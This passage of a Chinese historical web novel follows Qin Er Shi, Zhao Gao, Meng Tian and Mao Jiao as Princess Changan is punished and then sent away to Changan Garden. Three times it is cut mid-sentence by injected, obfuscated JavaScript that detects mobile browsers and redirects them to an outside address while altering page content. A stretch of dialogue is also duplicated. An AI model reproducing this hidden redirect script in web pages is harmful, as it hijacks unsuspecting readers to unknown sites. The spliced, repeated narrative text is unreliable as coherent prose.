“朕少时就听先帝夸赞太史令巧舌如簧,如今倒想见识一下。宋子打算如何替王姊陈情?又打算如何替朕解围?” 茅焦的心突然梗了一下,这秦二世不愧被“誉”为“二世祖”,巧舌如簧是夸人的话吗? 不过这次他真的冤枉了胡亥,二世在这一点上真没记错,始皇帝“夸赞”他的原话还真就是“巧舌如簧”。 “前些日子陛下曾问梦于臣,臣以流言入梦惊扰天子谏之。虽则流言止于智者,但普天之下未必人人都是智者。况且三人成虎,若‘得位不正’的流言不及时澄清,恐怕会有愈演愈烈之势,有碍皇帝陛下天威。是以臣今夜特来献策。” 作为始皇旧臣,茅焦一向深谙进谏的时机,曾经的曾经,他就是这么把握时机在秦王政那里一举留名的。 自然,除了他自己懂得把握机遇,能给予机遇的“贵人”亦是相当重要的。 当年替帝太后求情的游说之士何其多,他之所以能在其中崭露头角,完全离不开同为齐人的元后的引荐。 他亦十分清楚自己并非胡亥心腹,即便当日在天机阁主动献策,胡亥也未必听信他所言。 而后,胡亥果真按照历史既定的轨迹选择了最快解决危机的办法——杀人。只要除掉了所有的竞争对手,就算他真的“得位不正”又如何,难道还有比他更“正”的皇帝人选吗? 只不过,当胡亥解决了实际问题之后,他就会发现能堵住悠悠众口的名分问题依旧悬而未决。 所以,他此时献策正如同给瞌睡的胡亥送枕头,或者说,给下不来台的胡亥搭梯子。 说来也是巧合,他踏入仕途的第一谏便是为刚刚亲政的秦王政正名,劝其迎回太后。而今,他从大隐隐于朝中出山的第一谏亦是正名——替秦王政的继承者秦二世正名。 “那敢问太史令有何良策?” “良策不在臣,而在长安公主。” 25. 何为良策 “内史无召怎可擅闯内宫!” 赵高笑里藏刀地从一众披甲陈兵的宫卫中现身,犹如一位在黑夜中早已埋伏好天罗地网的猎手,终于等到了他的猎物心甘情愿为诱饵地自投罗网。 “谁说无召?” 从宫卫中扒拉出来一只略显苍老的手,接着又冒出来一个冠斜缨松的脑袋。 继岁首夜宴后,太史令茅焦再次以这种衣冠不整的滑稽仪容出现在了咸阳宫中。 被人连掺带拐地跑到咸阳宫,这位耳顺之年(60岁)的老者已是上气不接下气。 “我等……我等就是来……谒见陛下的,中谒者令……韩谈已经入内通禀。” 中谒者令韩谈?① 赵高露出一个阴鸷的笑意,真是一个意料之外的名字。他已经明令禁止手下的郎中谒者为蒙恬和茅焦二人通禀引见,却没想到中谒者令韩谈竟然敢与他作对。 中谒者令是少府的属官,同样负责为皇帝传达信息、引见朝臣。少府与他同为九卿,他这个郎中令的权威着实对少府的属官鞭长莫及。 看来,官还是做得不够大。 赵高腰间半开的剑闪着寒光,映衬着他脸上阴冷到极点的笑意。 不过,那又如何。成大事者,向来不在细枝末节上优柔寡断。 他根本不打算听他们辩驳,而是当机立断地对宫卫命令道,“我等并未接到诏令,无召闯宫者格杀勿论!杀了他们!” “谁敢!” 蒙恬怀中抱着长安公主在漫天飞雪中缓缓起身,如同鹰隼般锐利而勇猛的目光俯瞰着众人,这位曾经的大秦战神仅用两个字便震慑得宫卫们不敢近前。 自新帝即位以来,他这个先帝的尊宠之臣身份一落千丈,以至于人们几乎要忘记了眼前之人曾经统率三十余万军民逐退匈奴七百余里,收复河南地(河套以南之地),威震匈奴,使得胡人不敢南下牧马,勇士不敢弯弓而报怨,是当之无愧的大秦第一勇士。 旁人不敢近前,赵高却是一定要抓住机会猎杀这等鹰隼,他手中紧握的剑柄已经蓄势待发,“我知道内史战功赫赫,但是胆敢在宫中如此耀武扬威,是想造反吗?” 蒙恬毫不畏惧地对峙上赵高如同毒蛇般阴毒的目光,“郎中令欺上瞒下,竟敢在宫中擅杀天子女兄和秦廷重臣,是想凌驾于皇帝陛下之上吗?” —————— 胡亥又被梦魇着了。 章台夜宴除掉了那么多竞争对手,他本应高枕无忧,可是梦魇完全暴露了他心中的惶恐。 他跽坐在阴冷的九层高台上,这是至高无上的皇位,是他梦寐以求的位置。 但是,这座九层高台竟然是用尸山血海垒起来的,积如山堆的尸首之间,有同胞手足,有重臣显贵。如果没有这些尸山血海的支撑,这至高无上的皇位便会轰然倒塌,他也会摔得尸骨无存。 皇位是冰冷的,皇权是血腥的。 从他决心坐上来的那一刻起,便注定了这样孤家寡人的局面。 他以为自己对皇位的渴求足以让他安稳面对一切杀戮和血腥。 可事实并非如此,踏上这条通往皇权的血路,他战战兢兢,如履薄冰,跽坐在这样高处不胜寒的阴冷皇位上,他如芒刺在背,如坐针毡。 尤其是,在目光无法触及的暗处,某种天性冷血的生物果真从背后盘踞上来,带着喑哑的嘶嘶声将他和皇位越缠越紧,也越来越让他窒息。 他这才想起伸出求援的手,然而皇位下只有堆积如山的尸体,他一旦惶恐,这些尸山血海便会伸出手来将他拉下去。 孤家寡人的代价是孤立无援。 “阿亥也会害怕吗?” 阴冷黑暗的九幽迷雾下,突然出现一双坚韧不屈的明眸。 他颤抖着声音道,“王姊,王姊救我……” 她的脖颈上汩汩流出鲜血,那是他拿帝王之剑太阿亲手割出的血痕,“得道者多助,失道者寡助。多助之至,天下顺之。寡助之至,亲戚畔之。阿亥,杀戮是解决不了问题的。” 她叹息一声,吟诵着那首古老的诗歌逐渐隐没在九幽迷雾下死去的魂灵中。 “棠棣之华,鄂不韡韡,凡今之人,莫如兄弟。 死丧之威,兄弟孔怀。原隰裒矣,兄弟求矣。” 顺着皇位缠绕上来的毒蛇不断用信子舔舐着他快要窒息的脖颈,他也要死了,可是谁来为他收尸呢? 他像少时那般用尽最后的力气向唯一的王姊求援: 王姊救我——! —————— 胡亥的梦魇是被内宫中若隐若现的喧闹声中断的。 身侧的韩美人跟着他起身,温声细语慰藉着,“陛下,陛下怎么了?” “王……王姊呢?” 梦中的惶恐和悲哀犹在心头挥之不去,他忽而记起了那个被他罚跪在棠华殿外的王姊,立刻就要起身去见她。 “陛下,”韩美人不顾自己身着单衣,先为胡亥披上一件厚厚的狐裘,“长安公主还在棠华殿‘静思己过’,陛下就算顾惜手足之情,也不急于这一时。” 韩美人的话提醒了胡亥,王姊是被他亲自下令罚跪在棠华殿外的,他现在过去便是自毁君威。 他又注意到了殿外若隐若现的喧闹声,若非这样的声音,他还被困在梦魇中。 “外面是什么声音?” 侯在殿外许久的中谒者韩谈知道时机到了,这才出声禀告,“陛下,内史蒙恬携太史令茅焦谒见陛下。” 胡亥的眼睛一亮,给瞌睡的他递枕头的人到了。 “把太史令茅焦带到章华殿来。” 至于蒙恬,胡亥明白今夜求情一事上他不过是个无关紧要的引路人而已,他一如既往地不是很想见到这个“前”忠信之臣。 —————— 棠华宫两厢僵持着,中谒者韩谈犹如及时雨一般出现在棠华宫。 “陛下有诏,要在章华殿召见太史令。” 赵高握剑的手青筋暴起,差一点,差一点,他就能收割这三个猎物的性命。 但是,任他再心有不甘,也暂时无法违抗这波“及时雨”背后的二世皇帝,他强按下心中的怨毒和不甘,半开的剑不得已收了回去。 他把怨毒的目光再次投向蒙恬,如果不是蒙恬这个鹰隼在,他今夜定然叫替长安公主求情的人有来无回,而长安公主也会冻毙于雪夜中,如此,他在秦廷的威势才能更上一层楼。 可惜了,有这个搏击长空的鹰隼在前方巡视引路,他布好的天罗地网竟然没有捕获到任何一个猎物。 不过,赵高那阴诡的眸子一转,即便有蒙恬这个鹰隼又如何?他心甘情愿为了长安公主这个诱饵自投罗网,那就必然得叫他知道,即便是守护大秦疆域的鹰隼也不能在他这个高超的猎人手中全身而退。 太史令茅焦摸了摸热冷交替的满头大汗,还不忘对着中谒者令韩谈作揖,“还请中谒者令在前面引路吧。” 蒙恬已经预料到二世对他的冷遇,只是朝茅焦和韩谈微微颔了颔首,“蒙恬路已带到,接下来的路全仰仗太史令一个人走了。” 说罢,他怀中抱着嬴略大步向棠华宫的偏殿走去。 收到赵高眼神示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984033|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的郎中丞赵成再次愤愤不平地出声阻拦,“陛下责令长安公主在殿外静思己过,没有陛下的诏令,公主一步都不能离开这里。” 蒙恬冷冷地看了他们一眼,“陛下只是让公主思过,若是公主出了什么事,你们担当得起吗?” 中谒者令韩谈亦在一旁出言缓和道,“内史只是带公主前往偏殿稍候,若陛下待会果真降罪,也不耽误你们拿人。” 赵成圆滑的眼珠子转了转,他自然清楚长安公主在二世心中的地位非比寻常,她虽然一时触怒天颜,但到底曾是陛下最为爱重的王姊,若是哪日姊弟二人重修旧好,他岂不是白白做了恶人。而且陛下身边的中谒者令都出言缓和,他也不能做得太绝,得为自己留条后路才是。 再说了,倘若事后陛下果真为此发怒,那么他大可把罪责全权推到蒙恬他们身上,如此想着,便装模做样地哼了一声,不再阻拦。 —————— 长夜未央,宫人们重新在章华殿掌灯,当数盏十五连枝铜灯重新被点燃,光明瞬间再现章华殿的中堂。 在宫人掌灯之际,韩美人悄无声息地给了内者令郑都一个眼神,相处十余年的主仆颇有默契,郑都立刻带着亲信内者将凤鸟纹铜薰炉拿了下去。 原来,薰炉中的沉水香不知何时已经熄灭了。 二世在章华殿的中堂召见了茅焦,“你是来替长安公主陈情的?” 茅焦早已在路上整理好衣冠,虽然此刻形势已是十分危急,他却是不急不徐地揖礼道,“亦是来替陛下解围的。” 见茅焦如此作态,胡亥的心绪也跟着逐渐平稳下来,他撩起袍裾坐在了上首,一副秉烛长谈的架势。 “朕少时就听先帝夸赞太史令巧舌如簧,如今倒想见识一下。宋子打算如何替王姊陈情?又打算如何替朕解围?” 茅焦的心突然梗了一下,这秦二世不愧被“誉”为“二世祖”,巧舌如簧是夸人的话吗? 不过这次他真的冤枉了胡亥,二世在这一点上真没记错,始皇帝“夸赞”他的原话还真就是“巧舌如簧”。 “前些日子陛下曾问梦于臣,臣以流言入梦惊扰天子谏之。虽则流言止于智者,但普天之下未必人人都是智者。况且三人成虎,若‘得位不正’的流言不及时澄清,恐怕会有愈演愈烈之势,有碍皇帝陛下天威。是以臣今夜特来献策。” 作为始皇旧臣,茅焦一向深谙进谏的时机,曾经的曾经,他就是这么把握时机在秦王政那里一举留名的。 自然,除了他自己懂得把握机遇,能给予机遇的“贵人”亦是相当重要的。 当年替帝太后求情的游说之士何其多,他之所以能在其中崭露头角,完全离不开同为齐人的元后的引荐。 他亦十分清楚自己并非胡亥心腹,即便当日在天机阁主动献策,胡亥也未必听信他所言。 而后,胡亥果真按照历史既定的轨迹选择了最快解决危机的办法——杀人。只要除掉了所有的竞争对手,就算他真的“得位不正”又如何,难道还有比他更“正”的皇帝人选吗? 只不过,当胡亥解决了实际问题之后,他就会发现能堵住悠悠众口的名分问题依旧悬而未决。 所以,他此时献策正如同给瞌睡的胡亥送枕头,或者说,给下不来台的胡亥搭梯子。 说来也是巧合,他踏入仕途的第一谏便是为刚刚亲政的秦王政正名,劝其迎回太后。而今,他从大隐隐于朝中出山的第一谏亦是正名——替秦王政的继承者秦二世正名。 “那敢问太史令有何良策?” “良策不在臣,而在长安公主。” 26. 坐怀不乱 出人意料的是,胡亥今夜竟然很有耐心听茅焦这等游说之臣絮絮叨叨。 “何解?” “陛下应该听说过华阳太后与庄襄王的旧事。庄襄王为王孙时,母子俱不受孝文王宠爱,因此被派往赵国为质,备受冷遇。当时孝文王有子二十余人,本不会轮到庄襄王为嗣,可是颇受孝文王宠爱的华阳夫人无子,在吕不韦的伺机钻营下,华阳夫人认庄襄王为嗣子,并与孝文王刻玉符为信物,庄襄王这才成为无可置疑的太子。臣以为陛下大可效仿这件秦宫旧事,成为名正言顺的嗣子。” 二世敏锐地提出了一个刁钻的问题,“虽然先帝的元后亦无男嗣,可她早早薨逝,即便朕有心认其为母,又如何征得她的同意呢?” 茅焦眨了眨老狐狸似的眼睛,道,“倘使元后唯一的女儿长安公主出面认证呢?” “臣知道陛下少失生母,是年少的长安公主将陛下带至长安宫,相伴至今。元后虽身体抱恙,时常在长安园修养,可长安宫到底是中宫居所。若元后之女长安公主对外宣称陛下至长安宫后,抚育在中宫元后膝下,元后实乃陛下所养母。如此陛下再率百官亲去元后的凤栖陵以养子之名拜祭,成就母子之名,便是无可厚非的嗣子。” 这其实是一个似是而非的名分,果真如此做的话难免有欲盖弥彰之嫌。但是以之来回应“得位不正”的这种半真半假的流言,恰如以子之矛攻子之盾那般无可挑剔。 二世亦觉得此计甚妙,但是他今夜才将人罚跪在冰天雪地中,不禁为难道,“可……王姊会同意吗?” 茅焦继续“循循善诱”道,“陛下毕竟与公主少小相伴,又即将成为‘同胞’姊弟。如今不过是姊弟之间的一两句口角,陛下稍加宽宥,她又怎会不同意替陛下解围呢?” 眼见二世面色稍霁,茅焦继续给他搭梯子道,“不过,长安公主毕竟触怒天颜,思过是应该的。只是陛下与公主骨肉相亲,不如让公主别居长安园思过如何?” 长安园乃元后在宫外养病的居所,园内有大片良囿美苑,北抵渭水,南通兴乐宫,风景秀丽,山水极佳,景致在大秦的离宫别馆中也是数一数二。 元后薨逝后,先帝将长安园赠予他和元后唯一的子嗣长安公主,作为她别居宫外的府邸。但长安公主及笄后并没有在宫外开府别居,先帝甚为宠爱这个女儿,仍旧特许她留在长安宫为元后永怀祈福长安公主只是偶尔在长安园小住游猎而已。 茅焦此话恰中二世心意,他和王姊刚在宫中起了冲突,她不宜继续留在宫中。长安园又恰好是她的母亲元后养病的离宫别馆,再没有比这个地方更适合安置王姊的了。 一时解决了心头大患,二世拊掌而笑,“茅卿果然如先帝所言巧舌如簧,那便依茅卿所言让长安公主出宫别居长安园,至于认元后为母之事,还是延后再议吧。” 听到巧舌如簧四个字,茅焦的心再次梗了一下,不过既然他的谏言已经奏效,便不再计较这些细枝末节的得失。 从棠华宫紧随而来的赵高却不肯就此收下费尽心思布好的天罗地网,他在殿外高呼道。 “陛下,内史蒙恬等人无召闯宫该如何处置?” 茅焦一拍大腿,坏了,赵高这厮如此狠毒,如今是专门来挑蒙恬这个软柿子捏了。 长安公主这个天子女兄他一时半会动不得,蒙恬这个备受天子冷遇的“前”尊宠之臣他还陷害不了吗。 茅焦的眼睛转了几转,他要替蒙恬求情吗? 他又暗自瞥了一眼赵高,刚好瞥见赵高唇角那抹微微上扬的阴诈笑意,这是赤果果的威胁啊。 有赵高这个新进的天子宠臣在,他一个区区六百石的言官如何能顶着赵高的淫威替蒙恬求情。反正他和宋怀子的赌约只涉及救长安公主,至于蒙恬,他还是自求多福吧。 一抹令人安心的沉水香润物细无声地触及二世的鼻息,韩美人不知何时已经侍奉在二世身侧,“陛下,事急从权,若无内史带着太史令紧急觐见陛下,恐怕长安公主今夜就……” 虽然无法一次除掉长安公主这个大变数,赵高也不会就此放过她的党羽,“话虽如此,内史等人毕竟未等陛下宣召就擅自闯宫,若不依法处置,大秦律法的威严何在,皇帝陛下的安危何在!” 在赵高的步步紧逼下,胡亥一时也有些下不来台,只得道,“赵君说得对,内史夜闯宫闱,知法犯法,念及与大秦有功,死罪可免,便贬为庶人,幽禁家中。” 赵高满意一笑,不失恭维道,“陛下英明。” 剪去大秦鹰隼的双翼,他还能一飞冲天地时时巡守大秦吗。 —————————— 章华殿的偏殿内,蒙恬将怀中的嬴略轻轻放在榻上。 一路跟着蒙恬进来侍奉嬴略的内者令在点燃殿内的几盏跽坐人铜灯和壁炉后,来到榻前轻轻替嬴略扫去身上的积雪。 她在纷纷扬扬的夜雪中跪了一个多时辰,昏迷中依旧呢喃着冷。 棠华宫自夜宴结束后就熄灭了供暖的火道,此时的偏殿也就比室外的冰天雪地中稍微暖和些。 景福拿手轻轻触碰嬴略的额头,又被烫得缩了回去,她忧心忡忡道,“公主起了高热,我去请值夜的太医。” 蒙恬坐在榻前,自袖中拿出一个绘制骏马卷云纹的小漆盒,一边在嬴略脖颈处凝固的血痕上轻轻擦拭上药,一边道,“外面守着的宫位都是赵氏兄弟的爪牙,在陛下未有赦免的诏令之前,他们是不会让你出去的。” “那怎么办?”景福眸光微垂,狠了狠心,“大不了我豁出这条性命也要替公主请来太医。” “想要致公主于死地的敌人可不会在意一个宫人的死活。” 蒙恬没说出口的是,至高无上的皇帝陛下也不会在意。 “现在不是意气用事的时候,太史令已经到陛下面前陈情了,我们只需要再等一等。” “可是……”景福看着榻上受高热折磨的公主,眸中含泪道,“可是公主等不了。” 话音刚落,便见蒙恬站在嬴略榻前开始脱衣服,先是吉光裘,再是大氅,然后摘下腰间的玉符继续脱外袍…… 景福掩唇惊恐道,“蒙内史,你干什么!” 说着也顾不上什么宫廷礼仪径直冲到榻前在蒙恬和嬴略之间隔出了一道人形屏障。 “让开!”蒙恬蹙眉低喝。 “我不让!”景福眼神坚定地像是要舍身取义。 联想到朝贺夜宴上蒙恬争婚时那一番“惊为天人”的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996770|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她悲愤于自己看错了人,误将一头“见色起意”的狼当作了救命稻草引入了室内。 蒙恬脱掉外袍,无奈道,“我是要救人。你这么拦着是想让公主冻死吗?” “救人?”景福忽然就明白了他是想用自己的体温给公主取暖。 但她还是拦着,“男女授受不亲,还是我来。” 蒙恬无奈道,“内者令为了救人在夜雪中来回奔波,自己已是冻得面色发白,手脚寒凉,恐怕比公主好不了多少吧。两个同样受冻发寒的人如何能够抱团取暖?” “这……”景福还在犹豫。 蒙恬面色严肃道,“莫非内者令是觉得冻死事小,失节事大?” 景福立刻否认,“当然不是。” 蒙恬脱得只剩下里面的中衣,将榻上衣袍完好的长安公主贴身抱在怀中,外面又用吉光裘包裹好,上演了一出秦国版的坐怀不乱。 “如此,内者令放心了吗?” 景福惊讶得眨了下眼睛,又觉得自己不该这么失礼地看着一个只着中衣的男子。 “我去外面看看。” “等等。”蒙恬却叫住了她。 “什么?”景福又尴尬地返回来,她觉得自己看也不是,不看也不是。 “我知道内者令忠心护主,只是想好心提醒一下,身为公主的近侍,任何时候都不该如此放心地将公主留下来和一个成年男子独处一室。” 景福心头一震,这样的话她初入宫时曾听那位规矩森严的年长女史训诫过,虽然那位年长的女史如今已在长安园荣养,她也有数年不曾听过训诫,但那位年长女史训诫新宫人的严苛手段她仍然记忆犹新。 这话是极其正确的。 景福守在一座素纱金丝玉屏目前,玉屏是用宽幅素纱织就的,上面用金丝绣满了凤鸟花卉云气纹。 以素纱玉屏作间隔,内室的一切变得朦胧而可视。 屏风前面即是开着殿门的中堂,若有动静,亦可提前示意。 有蒙恬这个人形加热器源源不断地输送热气,受寒昏迷的嬴略终于觉得终于觉得暖和了一些,只是昏睡之中仍然不安稳,口中不断呢喃着什么。 “公主说什么?”为了听清她的呢喃,蒙恬侧脸朝她更靠近了一些,近乎贴到了她的面颊。 狐裘下被冻得通红的小手紧紧攥住了他的衣襟,“别走,别抛下我……” 他想起了宋怀子那天在渭阳学宫中说过的话。 “注定你救得了别人的手足,却救不了自己的手足。” 这句话就像是一句可怕的谶言。 她一夜之间受尽了人生苦楚——手足、尊严,甚至生命,几乎丧失殆尽。如此打击,即便是一个男子都未必能安然承受,何况她这样一个矜贵娇弱的公主。 怀中的她如此苍白虚弱,仿佛一朵即将要从枝头凋落的红梅。 凋落的红梅——连日来的梦境再次涌上心头,上郡随风翻飞的绛红色凤鸟纹裙裾,阳周狱中无边无垠的黑暗…… 梦魇中的生离死别复又重现,一遍又一遍凌迟他的心,他将怀中人抱得更紧了些,仿佛这样她就从未离开过她,他也从未失去过她。 “公主莫怕,臣在,臣会一直在……” 27. 咫尺天涯 蒙恬的声音是从未有过的温言细语。 也许是真的听到了他的安慰,嬴略微蹙的眉头渐渐舒展开来,只是口中仍然在喃喃着,“别走,母亲,别抛下阿略……” 孩子生病的时候是最需要母亲的,而任何人生病的时候都会变成一个孩子。 蒙恬这次听清了她口中的称谓,面上微微有些赧然,也顺势松开了一些抱紧她的手。 “内史,殿外好像有人来了。”守在玉屏外的景福出言提醒道。 蒙恬最后用手轻轻贴了贴嬴略的额头,好像没那么烫了,这才将她重新放回榻上,顺便把吉光裘也盖在了她身上。 他起身迅速穿好了自己的衣服后,对进入内室的景福道,“我知道内者令先前忧心公主的名节。蒙恬保证,此事天知地知,你知我知,我绝不会泄露给第三个人知道。” 景福颔了颔首,经此一事,她倒是对蒙恬的人品放心了,但恐怕此事免不了让第三个人知道——至少她不能把公主蒙在鼓里。 她来到榻前看到嬴略身上盖着一件不属于她的裘衣,不免出言提醒道,“内史,你的裘衣?” 蒙恬不甚在意,“公主原本的裘衣被雪浸湿了。这件吉光裘是从匈奴那里缴获来的,听闻是匈奴自西国掳掠,用类似神马的神兽皮毛制作而成,入水不湿,入火不焦,可谓宝衣。如今就先拿来为公主救急吧。” 说罢他就从榻前起身,绕过那座金丝素纱玉屏离开了内室,静静伫立在殿外候着,而内者令景福则回内室侍奉,如今算是各归其位了。 棠华宫外,赵高和他的爪牙气势汹汹地踏雪而来,而候在殿外的蒙恬早已准备好宠辱不惊地迎接即将到来的兴师问罪。 “大秦二世皇帝陛下诏令: 长安公主殿前无状,忤逆不逊,触犯天颜,然朕顾惜手足之情,责令长安公主出咸阳宫,遣还外第长安园,静思己过。” 顿了顿,赵高又阴毒地看向内史蒙恬,继续宣诏: “内史蒙恬夜闯宫闱,知法犯法,罪加一等,然朕念及内史事出有因,事急从权,死罪可免,贬为庶人,幽禁家中。” 跟随而来的太史令茅焦脸上亦有些歉意和无可奈何。 他们都知道,蒙恬本就在新帝一朝备受冷遇,且遭同僚嫉恨,如今又被冠以“知法犯法”的罪名贬为庶人,恐怕二世皇帝再也想不起来起复这个大秦鹰隼了。 莫说蒙恬这个不受待见的内史,即便是长安公主这个一向受新帝亲近的王姊又如何,一朝起了龃龉,还不是被遣还外第,甚至从头到尾,二世都没关心过这位王姊被罚跪在冰天雪地之后的身体状况,连夜将人赶出了咸阳宫。 一时之间春风得意的赵高怎能不抓住机遇将失败的政敌踩在脚下耀武扬威一番。 “内史接诏的感觉如何?是否觉得如这突如其来的初冬之雪一般,措手不及,寒彻心扉。” 眼见政敌面上并没有失败者的颓然不平,赵高继续奚落挖苦,“哦,不对,不该称你蒙内史,而该叫你蒙庶人了。” “从蒙恬入仕秦廷的第一天起,就知道仕途并非一片坦然,有起必有落,有落必有起,自当宠辱不惊,何须作小人姿态戚戚然患得患失。” 赵高故作姿态地摇了摇头,“对旁人而言也许仕途有落必有起,可惜对于蒙庶人而言,仕途恐怕和令兄一样是起落落落了。只是不知蒙庶人是否也像令兄蒙嘉一样幸运地入赘到某位有万金之资的妇人之家。” 蒙恬果然如他所言那般宠辱不惊,对于赵高这种小人的轮番羞辱也不过是微笑着拱了拱手道,“那便多谢郎中令吉言了。” 除此之外,并不屑于多费心思与这种奸邪小人争辩。 对于政客而言,一时的口舌之快并不是真正的快意,一时的得失也不能算作真正的得失。只要敌人的人头没有落地,就永远没有角逐出最终的胜负。 更何况,他之所以对自己仕途的起落没有太大的波澜,是因为他早有预料。 沙丘之变他被解除了军权,闯宫救人他被革职罢免,新帝就是在一步一步瓦解他这个先帝重臣的职权和地位。哪怕他这个先帝一朝的重臣愿意继续效忠新帝,二世皇帝也不会再给他这个机会。 毕竟,管仲常有而齐桓公不常有。 即便他今夜没有闯宫救人,恐怕也避免不了这样的祸事。 以他敏锐的政治天资和十数年的仕途经验来看,今夜之祸只怕只是个开端。祸事很快会从宫闱宗室波及至秦廷众臣,观今夜二世皇帝的行事作风,无论是先帝之子还是先帝之臣,他是势必要将先帝遗留下来的人驱逐干净。 然而,肃清秦廷宗室,并不是将人清理得一干二净。可惜的是,新帝并不懂这个精髓,他被奸邪之臣环绕,犹如被群狼环伺。长此以往蚕食的不仅仅是先帝之臣,更是新帝本人和大秦社稷。 这样的祸根,早在先帝头疼太子人选的时候就埋下了。 先帝有那么多男嗣,竟无一人符合他对于太子的完美希冀,最后在矮子里面拔出了长公子扶苏这个高个,将这个最有希望成为继承人的公子送到他这个最为信任的忠信之臣身边锻炼,然而或许是保护太过,希冀太高,刚强和信人的美好品质终究无法适应波云诡谲的人心。 蒙恬望向在白雪皑皑中熠熠生辉的咸阳宫在心中长叹了一口气,先帝留下的那么多男嗣,怎就没有一个足以撑起嬴秦社稷的人选呢。 犹疑叹息之间,标有长安家徽的车马出行仪仗已经准备出宫。 茅焦以为他是在为骤然中断的仕途失意,走过去同情地拍了拍他的肩膀以示慰藉。 他确实失意,却并非是为仕途。 长夜未央,白雪纷扬,他在皑皑夜雪中目送她的马车离去,擦肩而过的距离咫尺天涯,看似触手可及,实则可望而不可及。 若是四年前未曾拒婚,他倒是可以追随而去,照顾在侧,可事到如今…… 蒙恬的眸光暗了暗,事到如今他连名正言顺地关心她的资格都没有,哪怕只是隐隐的心疼,都算逾矩。 不过,仅是一瞬间的失意,他的目光又恢复了如常的坚毅自持,若是让他重选一次,他依旧会选择拒婚。 她的马车已经远去,消逝在漫天飞雪中,他强压下再次分别的苦涩,与茅焦作别后,独自一人在漫天飞雪中踽踽离去。 —————— 自沙丘之谋后,每至亥时由他这个二世皇帝主宰的咸阳宫总会迎来一些重大的变故。 这也许是某种宿命,亥时恰巧是他的出生时辰。 他再次将头枕在韩美人的膝上,拉着她的手夜话,只是这次,他已没了睡意。 “朕就这样原谅了王姊,会不会太骄纵了她?” 韩美人温柔似水道,“妾说句僭越的话,倘若长安公主真的对其他公子公主的遭遇不闻不问,冷漠地选择明哲保身,陛下日后还敢同这样的王姊亲近吗?” 胡亥抬眸望着她,她向来是个温柔至极的美人,若皎皎月华,若潺潺流水,润物细无声地慰藉人心。 “妾想起来韩夫人去世的那年冬夜,陛下在宫内发了高热,保育陛下的傅姆不知所踪,年少的妾也使唤不动殿内的宫人,幸而在去寻太医的路上恰巧碰到了公主。若非公主及时施以援手,又将陛下移至长安宫照料,陛下还不知道会怎么样。所以,公主原本就不是一个会对手足冷漠无情的人。” 韩美人说的这些事胡亥并没有忘记,只是他亦不愿意想起。母亲刚去世的那段时日,是他最不堪回首的晦暗时光。 他的手抚上韩美人温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009570|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉秀丽的面容,“可惜,王姊不能像你一样只对朕一个人好。” “妾只有陛下一个夫君,可是公主却有二十余位兄弟姊妹。” 胡亥沉下眸子,没关系,王姊以后也只会有朕一个手足。 “陛下真的打算认元后为养母吗?那陛下的母亲韩夫人怎么办?” 宫中关于他母亲的死一直讳莫如深,君父也一直有意瞒着他。 可是他自始自终都知道,母亲是自戕的,母亲是为了她的母国韩国自戕的。 他的母亲本是为存韩而来,奉命入秦之后,凭借佳冶窈窕的美貌一举成为君父后宫最受宠爱的妃嫔,很快就被封为仅次于王后的夫人。 君父曾说他最像他的母亲,君父还说他母亲是秦宫中最漂亮的那朵花。 可是母亲的美貌和宠爱并没有延续韩国的国祚。 母亲入秦不久,危如累卵的韩国就成了秦国统一天下的第一块垫脚石。 或许,母亲的宠爱还是为韩国带来了些好处的,韩国虽然被灭,他的外大父(外祖父)韩王安还活着,被软禁的那种活着。 当韩国被秦所灭的消息传到秦宫时,他的母亲并没有任何反常之举,依旧在后宫全心全意侍奉他的君父。当被问及是否因为秦国灭了韩国而心存怨怼时,她甚至说出了“愿为秦妇,不做韩女”这样的话坚定表达自己的立场。 他不知道他的君父当时有没有怀疑过他的母亲,只知道他的母亲依旧是后宫最受宠的夫人。 可是没过几年,韩地的旧贵族暴动,企图拥立原来的韩王安复辟韩国。 君父一开始并没有打算将韩国复辟的罪责牵连到母亲这个昔日的韩国公主身上,直到——他的君父在处理韩国复国的事件中发现了一直以来潜藏在秦国的细作——他的母亲。 最擅长使用间谍计谋的秦国被弱小的韩国派来的细作愚弄了。 他不敢去想假如是他被亲近之人背叛会怎样。 不过即便如此,他的君父还是为母亲留了条活路,只是将她幽禁在冷宫而已。 是因为宠爱吗?还是因为她为大秦诞育子嗣有功?他后来听人说,君父曾经私下评价他的母亲“最柔弱者偏偏也最刚强”。他既怜悯母亲是个亡国之人,又赞赏母亲冒死复国的气节,只可惜她触犯的是秦国的利益。 他的君父有那么多的宠妃,只有他的母亲是真正的王女。只可惜是个亡国公主,而亡国公主的使命就是殉国——母亲最终在刺杀君父失败后自戕殉国,完成了她作为亡国公主的使命。 